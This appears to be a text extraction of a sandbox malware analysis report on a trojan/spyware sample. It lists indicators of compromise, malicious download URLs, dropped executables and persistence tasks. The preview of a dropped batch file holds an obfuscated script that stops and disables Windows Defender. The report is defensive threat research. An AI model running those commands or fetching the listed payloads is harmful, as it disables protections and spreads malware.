11.2.hrgjvbv.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.0.unpack 100% Avira HEUR/AGEN.1126869 Download File

29.0.82DC.exe.9d0000.1.unpack 100% Avira HEUR/AGEN.1144480 Download File

27.0.610B.exe.400000.4.unpack 100% Avira HEUR/AGEN.1127982 Download File

11.0.hrgjvbv.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.0.y4oMrtO1Mt.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

11.0.hrgjvbv.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

32.3.argjvbv.5d0000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

23.1.9D57.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

tempuri.org/Entity/Id12Response 0% URL Reputation safe

privacytoolzforyou7000.top/downloads/toolspab2.exe 12% Virustotal Browse

privacytoolzforyou7000.top/downloads/toolspab2.exe 100% Avira URL Cloud malware

tempuri.org/ 0% URL Reputation safe

tempuri.org/Entity/Id2Response 0% URL Reputation safe

Unpacked PE Files

Domains

URLs
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https://www.metadefender.com/#!/results/file/bzIxMTAzME1JZnZfZm1WeEZTQUd0TWYtWjVF/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis
https://www.virustotal.com/gui/url/fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd/detection/u-fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd-1636439376


tempuri.org/Entity/Id21Response 0% URL Reputation safe

host-host-file6.com/files/7993_1636371023_9825.exe 15% Virustotal Browse

host-host-file6.com/files/7993_1636371023_9825.exe 100% Avira URL Cloud malware

tempuri.org/Entity/Id15Response 0% URL Reputation safe

https://api.ip.sb/ip 0% URL Reputation safe

crl.sectigo.com/SectigoRSACodeSigningCA.crl0s 0% URL Reputation safe

tempuri.org/Entity/Id24Response 0% URL Reputation safe

tempuri.org/Entity/Id5Response 0% URL Reputation safe

tempuri.org/DetailsDataSet1.xsd 0% URL Reputation safe

tempuri.org/Entity/Id10Response 0% URL Reputation safe

tempuri.org/Entity/Id8Response 0% URL Reputation safe

ocsp.sectigo.com0 0% URL Reputation safe

tempuri.org/Entity/Id13Response 0% URL Reputation safe

tempuri.org/t 1% Virustotal Browse

tempuri.org/t 0% Avira URL Cloud safe

tempuri.org/Entity/Id22Response 0% URL Reputation safe

https://get.adob 0% URL Reputation safe

tempuri.org/Entity/Id18Response 0% URL Reputation safe

tempuri.org/X 0% Virustotal Browse

tempuri.org/X 0% Avira URL Cloud safe

tempuri.org/Entity/Id3Response 0% URL Reputation safe

service.r 0% URL Reputation safe

tempuri.org/Entity/Id9 0% URL Reputation safe

tempuri.org/Entity/Id8 0% URL Reputation safe

tempuri.org/Entity/Id5 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

host-host-file6.com 47.74.84.15 true false high

hajezey10.top 47.74.84.15 true false high

escalivrouter.net 192.42.116.41 true false high

cdn.discordapp.com 162.159.134.233 true false high

nalirou70.top 47.74.84.15 true false high

nusurtal4f.net 45.141.84.21 true false high

privacytoolzforyou7000.top 47.74.84.15 true false high

netomishnetojuk.net unknown unknown false high

Name Malicious Antivirus Detection Reputation

privacytoolzforyou7000.top/downloads/toolspab2.exe true 12%, Virustotal, Browse
Avira URL Cloud: malware

unknown

host-host-file6.com/files/7993_1636371023_9825.exe true 15%, Virustotal, Browse
Avira URL Cloud: malware

unknown

https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D
0D3.jpg

false high

IP Domain Country Flag ASN ASN Name Malicious

45.141.84.21 nusurtal4f.net Russian Federation 206728 MEDIALAND-ASRU false

47.74.84.15 host-host-file6.com United States 45102 CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a/detection/u-6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a-1636453958
https://www.virustotal.com/gui/url/1f378565d3bd31b2f6fb6459c7c4e8fa33839eb5096f98467b9aed22af70c844/detection/u-1f378565d3bd31b2f6fb6459c7c4e8fa33839eb5096f98467b9aed22af70c844-1589301359
https://www.virustotal.com/gui/url/6daf0f0c8b88b2cab38a282bb7c27e1a50060cde81fda69357f39ed6a97ea1ac/detection/u-6daf0f0c8b88b2cab38a282bb7c27e1a50060cde81fda69357f39ed6a97ea1ac-1485954498
https://www.virustotal.com/gui/url/fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd/detection/u-fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd-1636439376
https://www.virustotal.com/gui/url/6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a/detection/u-6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a-1636453958


General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 518780

Start date: 09.11.2021

Start time: 22:19:09

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 14m 56s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: y4oMrtO1Mt.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

34

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@29/14@38/7

EGA Information: Failed

HDC Information: Successful, ratio: 78.7% (good quality ratio 71.5%)
Quality average: 70%
Quality standard deviation: 31.7%

HCA Information: Successful, ratio: 87%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

45.9.20.149 unknown Russian Federation 35913 DEDIPATH-LLCUS false

216.128.137.31 unknown United States 20473 AS-CHOOPAUS true

93.115.20.139 unknown Romania 202448 MVPShttpswwwmvpsnetEU false

162.159.134.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

IP Domain Country Flag ASN ASN Name Malicious

IP

192.168.2.1

Time Type Description

22:20:49 Task Scheduler Run new task: Firefox Default Browser Agent 9682C9CDD0967C59 path: C:\Users\user\AppData\Roaming\hrg
jvbv 

22:22:06 Task Scheduler Run new task: Firefox Default Browser Agent 386388EAAF16D104 path: C:\Users\user\AppData\Roaming\arg
jvbv 

Private

Show All

Simulations

Behavior and APIs
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No context

No context

No context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8039.exe.log
Process: C:\Users\user\AppData\Local\Temp\8039.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 410

Entropy (8bit): 5.346314304489858

Encrypted: false

SSDEEP: 12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21q1KDLI4M6:MLUE4K5E4Ks2E1qE4j

MD5: C70892F98C66E2701D48CFC052DE80F6

SHA1: FBAC1415A037F6F650B418F17CD9AF44AE845E20

SHA-256: AEE730B643B2C97FCBA55D2A3385160819447E1EDC8E08595B0605ADEB553A89

SHA-512: ECE4FC4F5F20E490F48D0B0B5152ECCAC6A2FEDFF21D94A56E99F7AC54BE8E84D56472987C758891C8C8BAFFEEE1FEBF2CEBCD42456391DCF214B1AC06C55
E66

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\1105.tmp

Process: C:\Users\user\AppData\Local\Temp\9D57.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1622408

Entropy (8bit): 6.298350783524153

Encrypted: false

SSDEEP: 24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0

MD5: BFA689ECA05147AFD466359DD4A144A3

SHA1: B3474BE2B836567420F8DC96512AA303F31C8AFC

SHA-256: B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B

SHA-512: 8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 2%

Reputation: unknown

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis


Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l
.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y..
.....N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..........
....@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B................................................................................................................
........................................................................................................................

C:\Users\user\AppData\Local\Temp\1105.tmp

C:\Users\user\AppData\Local\Temp\59B4.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2758360

Entropy (8bit): 7.8072751275522085

Encrypted: false

SSDEEP: 49152:SegXQmBiJwU7ltidndcPtBy1y4wLSo7HevDBiit8eU7LmgD+QDWYYOu4A:MfBcnmUCQL0FZtO7LFDO

MD5: 510129781D403976345AFEA3BDB4E426

SHA1: 7990E703C20D541B81D310AA6DF243BAF591ED04

SHA-256: 9642C83319B6F287E5FEACA3EDB50BD447A9CD41CDB88D6E588AA569BFF23552

SHA-512: 1DDD3F8E813091E5DF421235B5AA8FEE8845E960794D72BEB0925D854119653F5D2E9E8190177EAACC6F20A1D791CF3926420E441F76C6B7CA155120E7B0DF7B

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L................0...............H.. ...@....@.. ....................... o.....^.*.
..@.................................:...P.....i.oC............).............................................................................................        . ... ...................... ..`        hN...@......................@..@        ......
......................@..@.idata... ..........................@...~.\1847. ..........................@..@.themida..>.........................`....boot.....!...G...!.................`..`~.\1847P.....i.......$............. 
..`~.\1847P.....i.......$............. ..`.rsrc...oC....i..D....$.............@..@.......................................................................................................................................................................
.........................................................

C:\Users\user\AppData\Local\Temp\610B.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 365568

Entropy (8bit): 6.486259774061807

Encrypted: false

SSDEEP: 6144:wQBXemUkeyanBOnxNrQZ85As33XirHVcrdtCzrC8qhmzAzCB6lYDuvq:5BOWmBOnxdzXiDqrdtCzrCRmzAzCB2YZ

MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB

SHA1: 01BB3BF7DD71EDBCB81DBFDEA0EAA80DF35F8443

SHA-256: 682DEC9DEB96439E3D921A1BB95CF498729FE8EAD7B665A6E17FEA7349998CD0

SHA-512: 88095122F60A9CC515930EDC5F7895A1224F4ACA0589B85961B657DB55A77B8F2CA483A030DD02C6CB65D0E0680DF16800A104D5D102C52F316BECA26E76DC26

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................|....C......v......q.....Rich............PE.
.L...2.u`.................0....p..............@....@...........................u..............................................2..P.....s..B....................t.....@...................................@......................................
......text...X........0.................. ..`.data...,do..@.......4..............@....rsrc....B....s..D...F..............@..@.reloc........t.....................@..B.................................................................
..............................................................................................................................................................................................................................................................................
.................................

C:\Users\user\AppData\Local\Temp\8039.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 294912

Entropy (8bit): 7.82778559429451

Encrypted: false

SSDEEP: 6144:hKaDPab1LDUZtIkWAsI36168lf+7ZgNv6IO6z:hK4wlKetAsSgf+VO6IO6

MD5: EF9CFB2DDC4AF2089DF63A761ECC7833

SHA1: 2E44DAD28F2131822DCD9B7868C11FB1767C3D4B

SHA-256: 9FD007DE870E23DEB778B08AF3A01E3DFAF9DFC3483496C438EC734B26D26340

SHA-512: E95BA94E92470BE2B4FCC8FE9E4C128E1E529B3C29C9439FBCFAFD972E37BF3FF011B09F7D9FB0CE6E58B39C91F46C5087F433CB9DDDA8FA7C319DA41427FA
A2

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 36%

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.a..................................... ....@.. ..................................
..@.................................(...S.......................................................................................................H...........)EWhg.NF .... ......................@....text...4........................... ..`.rsrc.........
.......r..............@..@.....................|.............. ..`.reloc...............~..............@..B................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..........

C:\Users\user\AppData\Local\Temp\8039.exe

C:\Users\user\AppData\Local\Temp\82DC.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 399872

Entropy (8bit): 3.7275795885047986

Encrypted: false

SSDEEP: 12288:vQuTQwVAJpxBG3t5Y4I6hGk3JfTCc61OC1dDEtDs7C:vQp/JuS

MD5: 0F289285CADCF1E656016A19789B5637

SHA1: 255E2358E028F91BC273CAD7984E73054D47CEFB

SHA-256: BF3CF8C31844F459B99593A2291F55D1BD57A73E293067E5921A45FE85F8F2F6

SHA-512: BE3F4A57128B9FA791DC44F33C97C67FE74652A2347506F916B5EB999DBD2D6B04FF6E4158AD52E59BE3A603EF499E8C00CCA5C517A4024B6735B3DB54F5598C

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 54%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............0... ...@....@.. ..................................
..@................................../..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.rel
oc.......`......................@..B.................0......H......../..T4...........................................................0..........~....u....s....z&.....*.................2(.... ....j*....r...p(....*.s....%.}..........s....o...
.9....s....z*....(.........*2.s....(....*...v.(......r-..p~....o....(....*....{....*.0..i........:....~........(......~....:$.........(.........(....(....(.........~....{....~.....o....(....o....}....*....0...........o......o....(.....(....
.o....*.6..(....(....*...0..E.......~.....s.......8"........

C:\Users\user\AppData\Local\Temp\9D57.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 233472

Entropy (8bit): 6.6947626548823385

Encrypted: false

SSDEEP: 6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5

MD5: 08CB82859479B33DC1D0738B985DB28C

SHA1: 2162CEC3E4A16E4B9C610004011473965CF300F8

SHA-256: 8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58

SHA-512: A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C9
12

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 74%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................................................................................................
..PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................
text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@..................................................................................
..............................................................................................................................................................................................................................................................................
........

C:\Users\user\AppData\Local\Temp\B8B0.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 161280

Entropy (8bit): 5.163359140538006

Encrypted: false

SSDEEP: 3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN

MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29

SHA1: 6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD

SHA-256: 08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C

SHA-512: 14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF
2

Malicious: true
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Yara Hits: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on 
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B8B0.exe, Author: Florian Roth

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 46%, Browse
Antivirus: ReversingLabs, Detection: 71%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................
@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc..........
.....t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@..................................
.............................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... 
...b...e... ...r...

C:\Users\user\AppData\Local\Temp\B8B0.exe

C:\Users\user\AppData\Local\Temp\F72D.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: modified

Size (bytes): 292864

Entropy (8bit): 5.9359496550819655

Encrypted: false

SSDEEP: 3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k

MD5: DB2EF30E8F821C8F00456941F5944849

SHA1: 01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60

SHA-256: 433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3

SHA-512: 7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72
EE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................|....C......v......q.....Rich............PE.
.L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text
............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B.....................................................................................
..............................................................................................................................................................................................................................................................................
.............

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Process: C:\Users\user\AppData\Local\Temp\B8B0.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit): 6.241345766746317

Encrypted: false

SSDEEP: 1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EB4E2DACCE

SHA1: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4
A

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 3%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....*).....*)..
Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................
<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@...................................................
..............................................................................................................................................................................................................................................................................
.......................

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat
Process: C:\Users\user\AppData\Local\Temp\B8B0.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: modified

Size (bytes): 8399

Entropy (8bit): 4.665734428420432

Encrypted: false

SSDEEP: 192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N

MD5: B2A5EF7D334BDF866113C6F4F9036AAE

SHA1: F9027F2827B35840487EFD04E818121B5A8541E0
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https://www.metadefender.com/#!/results/file/bzIxMTAzME1JZnZfZm1WeEZTQUd0TWYtWjVF/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis


SHA-256: 27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E

SHA-512: 8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189
E

Malicious: false

Reputation: unknown

Preview:
@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%
ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybs
rbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %
trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
r%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%j
skzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcx
ymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat

C:\Users\user\AppData\Roaming\argjvbv

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 233472

Entropy (8bit): 6.6947626548823385

Encrypted: false

SSDEEP: 6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5

MD5: 08CB82859479B33DC1D0738B985DB28C

SHA1: 2162CEC3E4A16E4B9C610004011473965CF300F8

SHA-256: 8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58

SHA-512: A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C9
12

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 74%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................................................................................................
..PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................
text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@..................................................................................
..............................................................................................................................................................................................................................................................................
........

C:\Users\user\AppData\Roaming\hrgjvbv

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 292864

Entropy (8bit): 5.9359496550819655

Encrypted: false

SSDEEP: 3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k

MD5: DB2EF30E8F821C8F00456941F5944849

SHA1: 01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60

SHA-256: 433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3

SHA-512: 7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72
EE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................|....C......v......q.....Rich............PE.
.L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text
............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B.....................................................................................
..............................................................................................................................................................................................................................................................................
.............

C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYV:rPYV
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 5.9359496550819655

TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: y4oMrtO1Mt.exe

File size: 292864

MD5: db2ef30e8f821c8f00456941f5944849

SHA1: 01a08a69f1e8e6d822ece577a9ebe84a0c7f5f60

SHA256: 433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d
559e1bac9de711b3

SHA512: 7e8a3b0a1c57b3e7e8b6bff850d5cd28bbabca63ba90bca
0f7a502e3964de641004388afb1271a01e7bc34ba66d629
9e487107869c4bc224bf36d6fb900e72ee

SSDEEP: 3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIs
gUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3r
C0z5+k

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$....................
.....G.......r.......F.................|.....C.......v.......q.....Rich........
....PE..L...Md._...................

File Icon

Icon Hash: aedaae9ecea62aa2

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E

Malicious: true

Reputation: unknown

Preview:
[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier

General
Entrypoint: 0x418260

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x5FD7644D [Mon Dec 14 13:10:37 2020 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

